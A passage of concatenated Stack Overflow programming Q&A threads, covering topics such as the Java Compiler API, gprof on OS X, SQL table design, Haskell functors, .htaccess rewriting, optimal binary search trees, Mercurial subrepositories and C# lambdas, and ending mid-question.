Alternatively, over on Ruby Quiz there is an awesomely lightweight inference engine written entirely in Ruby using a directed graph.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616885",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: Java Compiler API NullPointerException I am using this code to compile a Java file at runtime. First of all, here is my directory tree (in Eclipse).
+---- src
+----- package
+------ Compile.java
+
+
+---- temp
+----- anotherpackage
+------ Temp.java (file to compile)
Here is my code where I am getting the NullPointerException (I already tried using JDK as my Standard VM in Eclipse).
public static void compile(URI path, InputStream is, OutputStream os, OutputStream err) throws IOException {
SimpleJavaFileObject source = new CustomJavaFileObject(path, Kind.SOURCE);
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
JavaCompiler.CompilationTask task = compiler.getTask(new PrintWriter(err), null, null, null, null, Arrays.asList(source));
task.call();
}
Here is the CustonJavaFileObject:
class CustomJavaFileObject extends SimpleJavaFileObject {
protected CustomJavaFileObject(URI uri, Kind kind) {
super(uri, kind);
}
}
What am I doing wrong?
EDIT:
I do not have the JDK in my PATH (and I can't add it)
Here is my stack trace:
java.lang.NullPointerException
at package.Compiler.compile(Compiler.java:20)
at package.Interactive.main(Interactive.java:19)
A: JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
causes the issue. Point your JRE to be inside the JDK as unlike jdk, jre does not provide any tools.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616886",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: gprof command is not creating proper out.txt First of all I'm running MacOSX 10.7.1. I've installed all properly, Xcode 4 and all the libraries, to work with C lenguage.
I'm having troubles running gprof command in shell. I'll explain step by step what I'm doing and the output I'm receiving.
Step 1:
~ roger$ cd Path/to/my/workspace
~ roger$ ls
Output (Step 1):
queue.c queue.h testqueue.c
Step 2:
~ roger$ gcc -c -g -pg queue.c
~ roger$ ls
Output (Step 2):
queue.c queue.h queue.o testqueue.c
Step 3:
~ roger$ gcc -o testqueue -g -pg queue.o testqueue.c
~ roger$ ls
Output (Step 3):
queue.c queue.h queue.o testqueue testqueue.c
Step 4:
~ roger$ ./testqueue
~ roger$ ls
Output (Step 4):
enqueue element 16807
head=0,tail=1
enqueue element 282475249
head=0,tail=2
enqueue element 1622650073
head=0,tail=3
enqueue element 984943658
head=0,tail=4
enqueue element 1144108930
head=0,tail=5
enqueue element 470211272
head=0,tail=6
enqueue element 101027544
head=0,tail=7
enqueue element 1457850878
head=0,tail=8
enqueue element 1458777923
head=0,tail=9
enqueue element 2007237709
head=0,tail=10
queue is full
dequeue element 16807
dequeue element 282475249
dequeue element 1622650073
dequeue element 984943658
dequeue element 1144108930
dequeue element 470211272
dequeue element 101027544
dequeue element 1457850878
dequeue element 1458777923
dequeue element 2007237709
queue is empty
gmon.out queue.h testqueue
queue.c queue.o testqueue.c
Step 5:
~ roger$ gprof -b testqueue gmon.out > out.txt
~ roger$ nano out.txt
Output (Step 5):
GNU nano 2.0.6 File: out.txt
granularity: each sample hit covers 4 byte(s) no time propagated
called/total parents
index %time self descendents called+self name index
called/total children
^L
granularity: each sample hit covers 4 byte(s) no time accumulated
% cumulative self self total
time seconds seconds calls ms/call ms/call name
^L
Index by function name
Finally. The output file should show something like this:
% cumulative self self total
time seconds seconds calls ms/call ms/call name
33.34 0.02 0.02 7208 0.00 0.00 open
16.67 0.03 0.01 244 0.04 0.12 offtime
16.67 0.04 0.01 8 1.25 1.25 memccpy
16.67 0.05 0.01 7 1.43 1.43 write
16.67 0.06 0.01 mcount
0.00 0.06 0.00 236 0.00 0.00 tzset
0.00 0.06 0.00 192 0.00 0.00 tolower
0.00 0.06 0.00 47 0.00 0.00 strlen
0.00 0.06 0.00 45 0.00 0.00 strchr
0.00 0.06 0.00 1 0.00 50.00 main
0.00 0.06 0.00 1 0.00 0.00 memcpy
0.00 0.06 0.00 1 0.00 10.11 print
0.00 0.06 0.00 1 0.00 0.00 profil
0.00 0.06 0.00 1 0.00 50.00 report
...
And it shows blank field.
I searched here and I found nothing helpfully at all. I google it but the same thing.
I would be very grateful If anyone could help me please.
A: gprof does not work on OS X. The system call it needs was removed several versions ago. It's not clear why the utility still ships. The alternatives are to use dtrace and/or sample.
A: no need to give gmon.out in the last line, give gprof -b testqueue > out.txt
see http://www.network-theory.co.uk/docs/gccintro/gccintro_80.html for further reference
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616890",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "6"
} |
Q: Items sql table I am building a textbased game, and I have problem of how to build/structur my SQL table for items.
Item can be anything from weapon, a fruit, armor, etc. But I'm not sure how to properly design this.
For example
Iron Sword Str +4 Health +3
(Or something like that)
But if its a fruit item
Fruit of Health (lol)
+5 health when eated
Any tips or ideas? The question is How do I structure this SQL table?
A: Store different types of object in different tables.
Give each table the proper columns for the respective kind of object it stores.
CREATE TABLE Weapons (WeaponId INT PRIMARY KEY, Name VARCHAR(20), Strength INT);
CREATE TABLE Foods (FoodId INT PRIMARY KEY, Name VARCHAR(20), HealthBonus INT);
If you want all types of objects to have some common attributes, like weight or purchase price, then you could create a general Items table that has those common attributes.
CREATE TABLE Items (ItemId INT AUTO_INCREMENT PRIMARY KEY,
Weight NUMERIC(9,2), Cost NUMERIC(9,2));
You'd make the WeaponId and FoodId primary keys from the other tables would each match one of the ItemId values in Items. When you want to create a new weapon, you'd first add a row to Items which would generate a new ItemId value, then use that value explicitly as you insert into Weapons.
See the Class Table Inheritance pattern.
Re your question below.
If you are querying for a specific weapon, you can join:
SELECT * FROM Items i JOIN Weapons w ON w.WeaponId = i.ItemId
WHERE w.Name = 'Iron Sword';
If you are query for all items in the character's backpack, you'd have to do multiple joins:
SELECT i.*, COALESCE(w.Name, f.Name, t.Name) AS Name,
CONCAT_WS('/',
IF (w.WeaponId, 'Weapon', NULL),
IF(f.FoodId, 'Food', NULL),
IF(t.TreasureId, 'Treasure', NULL)
) AS ItemType
FROM Items i
LEFT OUTER JOIN Weapons w ON w.WeaponId = i.ItemId
LEFT OUTER JOIN Foods f ON f.FoodId = i.ItemId
LEFT OUTER JOIN Treasure t ON t.TreasureId = i.ItemId
etc.;
If a given Item matches a Weapon but not a Food, then the columns in f.* will be null. Hopefully a given ItemId matches an Id used in only one of the specific subtype tables. On the other hand, it allows a given item to be both a weapon and a food (for instance, vegan cupcakes, which can be effective projectiles ;-).
A: Sounds like you need a table of attributes (strength, health, etc.). Then a table of the items (name, description, etc) and an association linking the two together (obviously linking by related id's rather than text for normalization, but this is just to demonstrate).
Item Attr Value
Iron Sword Str +4
Iron Sword Hlth +3
Fruit Hlth +5
A: Right answears given above.. They are different approaches... The second one requires good knwledge of OOP.
I want to mention an other thing, I suggest you read some tutorial on Entity Relational diagram-design. I gues for a game you will probably need to study a few basic things only so it will take you only some hours I guess.
There are many things to consier while designing... for example:
*
*Entity = A thing that can logically stand on its own with its own attributes: Customer, Supplier, Student, Departement are some strong entities etc. Works for, belongs to etc are not entities but relations that associatin entities together.
*An entity becomes a table. Strong entities (that have no dependencies) become tables with a simple primary key and usually without accepting any foreign keys. Phone number is not a strong-indepndent entity every time a customer is deleted the phone has no menaing, every time a phone is deleted hte customer has still meaning. Phone is an attribute but because of multiple values it becomes finally a table.
All these are not to tutor er design just to mention that db design in not something to take lightly, it can save you or give you big pain... depends on you.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616901",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Haskell "pseudo-functor" I have a polynomial
data Poly a = Poly [a]
I would like to be able to do something like fmap (take 3) polynomial but I can't since Poly isn't really a functor in that the f I use in fmap can only be of type [a] -> [b], not a -> b.
Is there an idiom or way I can express what I want?
EDIT: here is a function which does what I want
myMap :: ([a] ->[b]) -> P a -> P b
myMap f (P x) = P (f x)
usage:
*Main> myMap (take 3) (P [1..])
P [1,2,3]
You can see from the type sig that it's almost fmap, but not quite. I'm obviously capable of writing the code for myMap, but I just want to know if there's another idiom I should be using instead.
A: This doesn't work but I thought it was interesting enough to share anyway:
{-#LANGUAGE GADTs #-}
data Poly a where
Poly :: [b] -> Poly [b]
We now have a type Poly that's parameterized on a, but effectively a has to be a list:
~% ghci Poly.hs
GHCi, version 6.8.2: http://www.haskell.org/ghc/ :? for help
Loading package base ... linking ... done.
[1 of 1] Compiling Main ( Poly.hs, interpreted )
Ok, modules loaded: Main.
*Main> :k Poly
Poly :: * -> *
*Main> :t Poly
Poly :: [b] -> Poly [b]
*Main> case Poly [1,2,3] of _ -> 0
0
*Main> case Poly 4 of _ -> 0
<interactive>:1:10:
No instance for (Num [b])
arising from the literal `4' at <interactive>:1:10
Possible fix: add an instance declaration for (Num [b])
In the first argument of `Poly', namely `4'
In the scrutinee of a case expression: Poly 4
In the expression: case Poly 4 of _ -> 0
*Main> case Poly True of _ -> 0
<interactive>:1:10:
Couldn't match expected type `[b]' against inferred type `Bool'
In the first argument of `Poly', namely `True'
In the scrutinee of a case expression: Poly True
In the expression: case Poly True of _ -> 0
Now we can try and write an instance of Functor for this type:
instance Functor Poly where
fmap f (Poly x) = Poly (f x)
Couldn't match expected type `[b1]' against inferred type `b2'
`b2' is a rigid type variable bound by
the type signature for `fmap' at <no location info>
In the first argument of `Poly', namely `(f x)'
In the expression: Poly (f x)
In the definition of `fmap': fmap f (Poly x) = Poly (f x)
That's not going to work. Interestingly enough, we can't even really write myMap:
polymap f (Poly x) = Poly (f x)
If we try this we get
GADT pattern match in non-rigid context for `Poly'
Tell GHC HQ if you'd like this to unify the context
In the pattern: Poly x
In the definition of `polymap': polymap f (Poly x) = Poly (f x)
Of course we can fix it with a type annotation:
polymap :: ([a] -> [b]) -> Poly [a] -> Poly [b]
But without it, it's a similar problem to what fmap had. Functor just doesn't have anywhere to out this extra context of "I promise always to use lists", and indeed it can't really. You can always say undefined :: Poly Int for example. In short, I don't think there's really an idiom that could express this (actually, someone will probably come along with enough ghc extension magic to do it). Certainly not an existing one.
A: Since you allow any function to be applied to the list of coefficients, your data type only really serves two purposes.
*
*You get extra type safety, since a Poly [a] is distinct from [a].
*You can define different instances.
If you don't need either of these, you might as well use a type alias.
type Poly a = [a]
Now you can apply any list function on it directly.
If, on the other hand, you want a distinct type, you might find the newtype package useful. For example, given this instance.
instance Newtype (Poly a) [a] where
pack = Poly
unpack (Poly x) = x
You can now write things like
foo :: Poly a -> Poly a
foo = over Poly (take 3)
although this might be overkill if your myMap is sufficient for your purposes.
All this aside, I think that exposing the representation of your data type in such a way might not be a good idea in the first place, as it can leave the rest of your code intimately dependent on this representation.
This makes it harder to change to a different representation at a later time. For example, you might want to change to a sparse representation like
data Poly a = Poly [(a, Int)]
where the Int is the power of the term. I suggest thinking about what operations you want to expose, and limiting yourself to those. For example, it might make sense to have a Functor instance that works on a per-element basis.
instance Functor Poly where
fmap f (Poly x) = Poly $ map f x
Now, the change to the sparse representation leaves client code unchanged. Only the instance (and the handful of other functions that depend on the representation) will have to change.
instance Functor Poly where
fmap f (Poly x) = Poly $ map (first f) x
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616904",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: Android persistent HttpClient connection Would it be possible to setup an HttpClient such that on a website that updates periodically, perhaps due to AJAX, the resulting changes would be captured by the HttpClient. Similar to keeping a connection to a website alive, and if there were an update, the HttpClient would send the updated response to a listener of some type. I feel as if there is an obvious answer to my question, but I just haven't found it because I may have some of my terminology wrong...
This is just an example snippet of how I usually set up a connection:
DefaultHttpClient httpClient = new DefaultHttpClient();
HttpGet httpGet = new HttpGet(url);
HttpResponse response = httpClient.execute(httpGet);
A: Welcome to Stack Overflow! I do not think keeping a constant connection open to your site would be the best solution. Why don't you just poll every once in awhile?
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616910",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: What's the best way to sort class definitions in a python source file? I have a .py source with many class definitions, like so:
class C:
# code c
class A:
# code a
class B:
# code b
I want to turn it into:
class A:
# code a
class B:
# code b
class C:
# code c
Is there a tool for this? What about doing it with emacs?
A: I agree with bobince that alphabetical order isn't a useful way to sort functions or other bits of code, but you might give sort-paragraphs a go. It might even work.
If it doesn't, then I can see by looking at the implementation of sort-paragraphs that it does this:
(sort-subr reverse
(function
(lambda ()
(while (and (not (eobp)) (looking-at paragraph-separate))
(forward-line 1))))
'forward-paragraph))))
I bet you could come up with some functions to plug in there that would make it work. The first one moves point to the start of the next record and the second one moves the point to the end of the current record. There are some optional arguments for functions that tell it where the sort key is within the record which might also come in handy.
These functions are in sort.el; you can use C-h f sort-paragraphs and C-h f sort-subr to pull up the documentation for them; this will include a link to the source.
Have fun :)
A: I coded it for you, but only because I was interested in seeing how sort-subr works. I do not condone the intent of the original question. :)
Also, if you upvote this answer, plase also upvote @db48x's didactic answer.
Use python-sort-defs the same way you would use sort-paragraph.
(defun python-sort-defs (reverse beg end)
(interactive "P\nr")
(save-excursion
(save-restriction
(narrow-to-region beg end)
(goto-char (point-min))
(sort-subr reverse
(function
(lambda ()
(while (and (not (eobp)) (looking-at paragraph-separate))
(forward-line 1))))
'python-end-of-block-must-move))))
(defun python-end-of-block-must-move ()
(when (eq (point) (progn
(python-end-of-block)
(point)))
(forward-line 1)))
A: Sorting alphabetically would make sense in testing code. For test cases that contain many specific tests, some tests (or maybe just test names) will be duplicated. Sorting the tests alphabetically is a good idea prior to deduping.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616911",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: .htaccess and url rewriting challenge My problem is very simple.
I have several folders in my root:
[folder1]
[folder2]
[folder3]
And my domain is something like: http://johndoe.net
I keep my website in [folder1], so basically I access it by typing http://johndoe.net/folder1
My goal is this:
I want to type http://johndoe.net and I get the content of http://johndoe.net/folder1 but the address has to remain http://johndoe.net
I want to type http://johndoe.net/folder1 and see my website, but my address has to change to http://johndoe.net
Seems easy enough, but I failed finding the solution after several hours of searching.
So far, the only thing I achieved is redirecting from http://johndoe.net to http://johndoe.net/folder1 by placing this bit of code in my .htaccess in my root:
RewriteEngine on
RewriteCond %{HTTP_HOST} ^johndoe\.net$ [OR]
RewriteCond %{HTTP_HOST} ^www\.johndoe\.net$
RewriteRule ^/?$ "http\:\/\/johndoe\.net\/folder1\/" [R=301,L]
When I type http://johndoe.net, I get http://johndoe.net/folder1 in my address bar
but what I need is my address to remain http://johndoe.net
Could anyone help me with this?
A: You're going to use two .htaccess files to solve this problem. Here's what you put in them, and where they go.
File #1. This goes in your base folder (the one that contains [folder1],[folder2], etc)
RewriteEngine On
RewriteCond %{HTTP_HOST} ^((www\.)?johndoe.net)$
RewriteRule ^(.*)$ /folder1/$1 [L]
File #2. This goes in [folder1]
RewriteEngine Off
A: Try something like this
RewriteRule ^(.*)$ /folder1/$1 [R=301,L]
A: RewriteEngine on
RewriteCond %{HTTP_HOST} ^johndoe\.net$ [OR]
RewriteCond %{HTTP_HOST} ^www\.johndoe\.net$
RewriteRule ^/?$ "\/folder1\/" [L]
you need internal rewrite, So it's enough to rewrite / to /folder1/
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616912",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: MYsql use same field as joined table I have site i need to modify without changing anything and only way i can do it is by adding mytable which has status field.
Now i have request like
if...{
$filter = "status = 0";
}
SELECT first_name, last_name, position, wage
FROM table1, mytable
WHERE table1.id = mytable.id
$filter
Problem is that both "table1" and "mytable" have statuses and i cannot do anything about this because this filter used also for 16 other requests looking "exactly similar" except they use instead table1 - table2, table3, table4, table5, table6,... etc and status used only for filtering can someone help?
Is in MySQL something like $this in php class so it knows i reference to table in FROM field so i could use JOIN LEFT instead of specifying table in FROM?
A: You can (and probably should, for clarity) prefix any column with its table name. You may do so both in the SELECT portion of the query as well as the WHERE portion. For example:
SELECT
table1.first_name,
table1.last_name,
mytable.position,
mytable.wage
FROM
table1,
mytable
WHERE
table1.id = mytable.id AND
table1.status = "0"
If you are going to be dynamically including the tables and want to keep the filter code generic, you can use the AS keyword to create aliases, so:
$use_table = 'table1';
$sql = '
SELECT
filter_table.first_name,
filter_table.last_name,
mytable.position,
mytable.wage
FROM
'.$use_table'. AS filter_table,
mytable
WHERE
filter_table.id = mytable.id AND
filter_table.status = "0"
';
... that way, you are able to switch which table you are using in $use_table without changing any of the other SQL.
A: You can specify to witch table's column you reference, like "table1"."status" :
SELECT first_name, last_name, position, wage
FROM table1, mytable
WHERE table1.id = mytable.id AND "table1"."status" = 0
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616921",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Setting a Constant Size for a Pie Chart with External Labels All,
Hopefully the title should say it all. We're switching from the System.Web.Helpers to the System.Web.UI.DataVisualization charting controls because there's simply not enough options available in the former. Using some code "borrowed" from Simon Steele (thanks!), I've gotten the basic charts showing on my form, and altered the code to add the custom property PieLabelStyle to Outside.
But, there's a side effect: the pies with one XY pair are larger than those with multiple XY pairs because the chart adjusts the pie size based on the fixed external width of the image. Labels on both sides thus force a smaller pie, which looks awful on the page.
There's probably a property among the hundreds in the namespace. Anyone done this before and solved the problem?
Thanks
Jim Stanley
Blackboard Connect
A: I had the same issue today and found this answer:
<asp:Chart>
<Series>
<asp:Series CustomProperties="MinimumRelativePieSize=60"/>
</Series>
</asp:chart>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616926",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Optimal Binary Search Trees I have an assignment on optimal binary search trees and some questions came up while doing it. I have found many of the links online helpful (just from a Google search) but I was wondering...
Why must the keys must be initially sorted?
If I get a lower cost (for an optimal BST) when the keys are not sorted, does that mean there must be an error in my code?
Must an optimal BST be complete/perfect? (using the Wikipedia definitions of complete and perfect)
A perfect binary tree is a full binary tree in which all leaves are at the same depth or same level. [1] (This is ambiguously also called a complete binary tree.)
A complete binary tree is a binary tree in which every level, except possibly the last, is completely filled, and all nodes are as far left as possible. [2]
For the last question, I would assume that an optimal tree must be complete/perfect, but some of the applets online lead me to believe otherwise. I cannot reason why though...
A:
Why must the keys be initially sorted?
They don't. In fact, unless you're using a self-balancing tree, it's better if you add the keys to the tree in random order, because the tree will end up more balanced.
If I get a lower cost (for an optimal BST) when the keys are not sorted, does that mean there must be an error in my code?
Not unless you're coding up a self-balancing tree (your self-balancing algorithm is not working).
must an optimal BST be complete/perfect?
Yes. In order to get the fastest possible search for a given tree, all of the tree's nodes must be equally distributed; i.e. the tree must be as short as possible.
A: void OptimalBinsearchtree_output(float R[21][20],int i, int j, int r1, char *dir)
{
int t;
if (i <= j)
{
t =(int)R[i][j];
fprintf(wp,"%s is %s child of %s\n", name[t], dir, name[r1]);
OptimalBinsearchtree_output(R,i, t - 1, t, "left");
OptimalBinsearchtree_output(R,t + 1, j, t, "right");
}
}
void OptimalBinarySearchTree(int n, const float p[],float *minavg)
{
int i, j, k, diagonal,l,pos;
float R[21][20];
float min = 0;
float A[21][20],sum=0;
printf("\n");
for (i = 1; i <=n; i++)
{
A[i][i - 1] = 0;
R[i][i - 1] = 0;
A[i][i] = p[i];
R[i][i] = i;
fprintf(wp,"A[%d][%d]=%4f\tA[%d][%d]=%4f\t",i,i-1,A[i][i-1],i,i,A[i][i]);
fprintf(wp,"R[%d][%d]=%4f\tR[%d][%d]=%4f\n", i, i - 1, R[i][i - 1], i, i, R[i][i]);
}
A[n+1][n] = 0;
R[n+1][n] = 0;
for (diagonal = 1; diagonal <= n - 1; diagonal++)
{
for (i = 1; i <= n - diagonal; i++)
{
min = 0;
sum = 0;
j = i + diagonal;
for (l = i; l <=j; l++)
{
sum = sum + p[l];
}
A[i][j] = sum;
for (k = i; k <= j; k++)
{
sum = A[i][k - 1] + A[k + 1][j];
if (min == 0)
{
min = sum;
pos = k;
}
else if (sum<min)
{
min = sum;
pos = k;
}
}
A[i][j] += min;
R[i][j] = pos;
}
}
*minavg = A[1][n];
printf("\n");
for (i = 1; i <= n; i++)
{
for (j = 0; j <= n; j++)
{
printf("%0.3f ", R[i][j]);
}
printf("\n");
}
for (i = 1; i <= n; i++)
{
for (j = 0; j <= n; j++)
{
printf("%0.3f ", A[i][j]);
}
printf("\n");
}
fprintf(wp,"\n\n");
fprintf(wp,"%s is the root of the tree\n",name[(int)R[1][n]]);
int r1 = (int)R[1][n];
OptimalBinsearchtree_output(R,1, r1 - 1, r1, "left");
OptimalBinsearchtree_output(R,r1 + 1, n, r1, "right");
}
void removeall()
{
nodeptr node,temp;
node = head;
while (node->next != NULL)
{
temp = node;
node = node->next;
}
if (node == node->next)
{
node->next = NULL;
temp->next = NULL;
free(node);
return;
}
node->next = NULL;
temp->next = NULL;
free(node);
}
void print()
{
nodeptr curr = NULL, temp = NULL;
curr = head;
gl_index = 1;
while (curr != NULL)
{
curr->index = gl_index;
gl_p[gl_index] = curr->val;
strcpy(name[gl_index], curr->str);
gl_index++;
wp=fopen("Output.txt","w+");
fprintf(wp,"%s\t%f\t%d\n", curr->str, curr->val, curr->index);
curr = curr->next;
}
}
void generatenode()
{
int i, j;
nodeptr temp = NULL;
char a[20];
while (!feof(fp))
{
nodeptr curr = NULL, prev = NULL;
temp = (struct node*)malloc(sizeof(struct node));
fscanf(fp, "%s", &temp->str);
fgets(a, 20, fp);
temp->index = gl_index;
b = atof(a);
int flag = 0;
temp->val = b;
gl_p[gl_index] = temp->val;
gl_index++;
temp->next = NULL;
if (head == NULL)
{
head = temp;
curr = head;
}
else
{
curr = head;
while (!(strcmp(temp->str, curr->str) < 0))
{
if(curr->next==NULL)
{
curr->next = temp;
curr = curr->next;
temp->next = NULL;
flag = 0;
break;
}
else
{
flag = 1;
prev = curr;
curr = curr->next;
}
}
if (curr == head)
{
temp->next = curr;
head = temp;
}
else
{
if (flag == 1)
{
prev->next = temp;
temp->next = curr;
}
}
flag = 0;
}
}
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616931",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Writing firefox extension: How to export private key from certificate database? Possible? I am writing a Firefox extension and am looking for a way to export the private key from an installed certificate.
This would be replacing the previous process of saving a backup PKCS12 .p12 file, then running using: "openssl pkcs12 -nocert -in backup.p12 -out userkey.pem"
Thanks!
EDIT: I can now save a PKCS12 backup using the XPCOM API, I can extract the Certificate, but am still looking for a way to extract the private key (see the openssl command above). This needs to be cross platform...
A: If the point is simply avoiding to export the private key manually then you can use pk12util tool which is part of NSS. You can export the certificate like this:
pk12util -o backup.p12 -n certificate_name -d /firefox/profile/dir
That's a lot easier than doing the same thing from an extension. From what I know, NSS explicitly doesn't allow storing the private key unencrypted in the PEM format so you would still need OpenSSL for that.
A: I have given up doing this. Instead I'm writing a python CGI script and sending the certificate and keys over an SSL connection to an Apache server.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616934",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: what is the use of ()=> in silverllight Can you say what is the use of the ()=> and =>? I saw this in a code. I did not get any reference for this.
this.Dispatcher.BeginInvoke(()=>
{
//some thing..
};
A: => is the lambda operator in C# and is read as "goes to". A lambda expression is an anonymous function and can be used to create a delegate.
Your example takes no arguments as indicated by the empty parens preceding the lambda operator. A lambda expression with one argument might look like this:
n => n.toString()
That expression would return the string representation of n, when invoked. A lambda expression can have multiple arguments as well, contained in parentheses:
(n, f) => n.toString(f)
A common use would be in a Func<T>:
Func<int, string> getString = n => n.toString();
int num = 7;
string numString = getString(num);
This is, of course, a silly example, but hopefully helps to illustrate its use.
A: It's a lambda expression that has no parameters.
A: This notation is that of a lambda expression which takes no argument. If the lambda expression made use of arguments they would be declared in the empty set of parenthesis as in say...
this.Dispatcher.BeginInvoke((x, y) => { do some' with x and/or y }, 12, somevar);
In a nutshell, lambda expressions allows creating "nameless" functions, right where they are needed.
In the example of the question, the BeginInvoke() method requires its first parameter to be a delegate (a "pointer to a method"), which is exactly what this lambda expression provides.
A: Check out this page http://codebetter.com/karlseguin/2008/11/27/back-to-basics-delegates-anonymous-methods-and-lambda-expressions/
If you don’t have any parameters, like in our example, you use empty
paranthesis:
() => {…}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616936",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: HTTP 1.1 20 second delay compared to HTTP 1.0 I've written a program in C that sends a HTTP 1.1 POST request to a web server.
Well monitoring it with wireshark, takes less then a second for the server to respond and to get the HTTP/1.1 200 OK message, but then it takes another 20 seconds to get the FIN, ACK packet, which I believe this is what causes recv to return 0, specifying no more data.Causing my program to hang for 20ish seconds well it waits for the server to send the FIN, ACK packet.
I've tested this with HTTP 1.0, and there isn't a delay. So I think this is because HTTP 1.1 by default considers all connections as persistent connections.
But my web browser uses HTTP 1.1 and there's no delay, so I think i'm not doing something right.
One idea I had was instead of waiting for recv to return 0, I should check if i'm at the end of the document some other way, but I can't think of any way to do this.
So if anyone could explain to me how I should be doing this? Thanks in advance.
A: HTTP 1.1 defaults to keep-alive connections while 1.0 does not. You can request a non-keep-alive by adding in the header
Connection: close
which instructs the server to close the connection as soon as it's complete.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616938",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Making an UILabel appear in another view once pressed in one view I have 2 views
*
*SoundViewController
*ShowViewController
The sound view has a sound on it (IBAction).
- (IBAction)oneSound:(id)sender; {
if (oneAudio && oneAudio.playing) {
[oneAudio stop];
[oneAudio release];
oneAudio = nil;
return;
}
NSString *path = [[NSBundle mainBundle] pathForResource:@"1k" ofType:@"mp3"];
if (oneAudio) [oneAudio release];
NSError *error = nil;
oneAudio = [[AVAudioPlayer alloc] initWithContentsOfURL:[NSURL fileURLWithPath:path] error:&error];
if (error)
NSLog(@"%@",[error localizedDescription]);
oneAudio.delegate = self;
[oneAudio play];
mainText.text =@"test";
}
And the ShowViewController needs to display the uilabel thats been pressed from the sound button
I want it so once the user has pressed the sound on SoundViewController, the uilabel appear on the showviewcontroller as it appear on the soundviewcontroller at the moment
A: Well, you can do this by
*
*retain the UILabel
*remove it from it's superview
*add it to the other view
*release it
You'll need access to the ShowViewController from the SoundViewController. So you'll have to define a connection between the two views (via IBOutlet or retained property, most likely).
I'm not sure what variable in the above code is your UILabel, so replace 'sender' with the correct ivar (mainLabel, maybe?):
[sender retain];
[sender removeFromSuperview];
[showViewController.view addSubview:sender];
[sender release];
Edit:
To clarify, the variable in the above code "sender" is the object that triggered this method. Whatever you have connected to the IBAction in the nib. In this case it would probably be a UIButton. You probably have to add an IBOutlet for your UILabel, and attach it to the correct UILabel in your nib file and use that IBOutlet in place of "sender".
You should probably read up on view hierarchy and view controllers. What you're trying to do is remarkably easy, and there are about a dozen ways to make it happen, but you have to understand how to structure your app correctly first. The most obvious issue is that the two view controllers need to have a reference to each-other in order to pass views back and forth. I can't send a view to another view if I don't know where that other view is. The views can be connected in IB, in code when they are created, etc.
view is a property of UIViewController. Assuming your ShowViewController is a subclass of UIViewController, it will have a view property. Perhaps your showViewController ivar isn't correctly typed? (if the type is id for example, it will give a warning when you try to access it's view property).
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616948",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Cloning a mercurial repository, .hgsub refers to a dead external subrepo We're trying to clone a Mercurial repository A where it references a subrepository B that's moved hosts. We'd like to update .hgsub in A to point to the new location of B, but it's a chicken and egg problem if we can't hg clone A in the first place.
Does anyone know how to work around this?
A: $ hg help subrepos
...
Remapping Subrepositories Sources
---------------------------------
A subrepository source location may change during a project life,
invalidating references stored in the parent repository history. To fix
this, rewriting rules can be defined in parent repository "hgrc" file or
in Mercurial configuration. See the "[subpaths]" section in hgrc(5) for
more details.
$ man hgrc
...
subpaths
Defines subrepositories source locations rewriting rules of the form:
<pattern> = <replacement>
Where pattern is a regular expression matching the source and replacement is the replacement string used to
rewrite it. Groups can be matched in pattern and referenced in replacements. For instance:
http://server/(.*)-hg/ = http://hg.server/\1/
rewrites http://server/foo-hg/ into http://hg.server/foo/.
All patterns are applied in definition order.
...
So, you can do it in .hgrc in a [subpaths] section.
A: First note that clone is init + pull + update and that subrepo cloning is part of the update step, not the pull step. This means that you can avoid clone failing simply by skipping the update step:
$ hg clone -U <url>
Now the problem is reduced to "how do I update to a revision with a problematic .hgsub/.hgsubstate file?" There are two possibilities here:
*
*remap subrepos using the [subpaths] feature (see hg help subrepo and hg help config)
*manual update and repair
A "manual update" can be done like this:
$ hg revert -a -r default -X problematic-file
[adding a bunch of files]
$ hg debugrebuildstate -r default
Now you can manually fix-up your subrepos and .hgsub and commit. Be sure to test your fix with a clone before pushing it.
Also, see this mailing list thread on the topic: http://markmail.org/thread/ktxd2rsm7avkexzr
A: It could be easier to tamper with DNS as a quick workaround (e.g. hosts file on Windows) and then fix .hgsub.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616950",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "7"
} |
Q: Good way to store data that will be converted to PHP arrays? Can someone recommend a file format/dtd/programming language that is not too finnicky/verbose when it comes to syntax and would be appropriate for storing hierarchical data? I intend to convert the data into a PHP associative array for use during run time. Here's an example of content I'm storing with json which I read with PHP and convert to a PHP associative array:
{
"variable":{
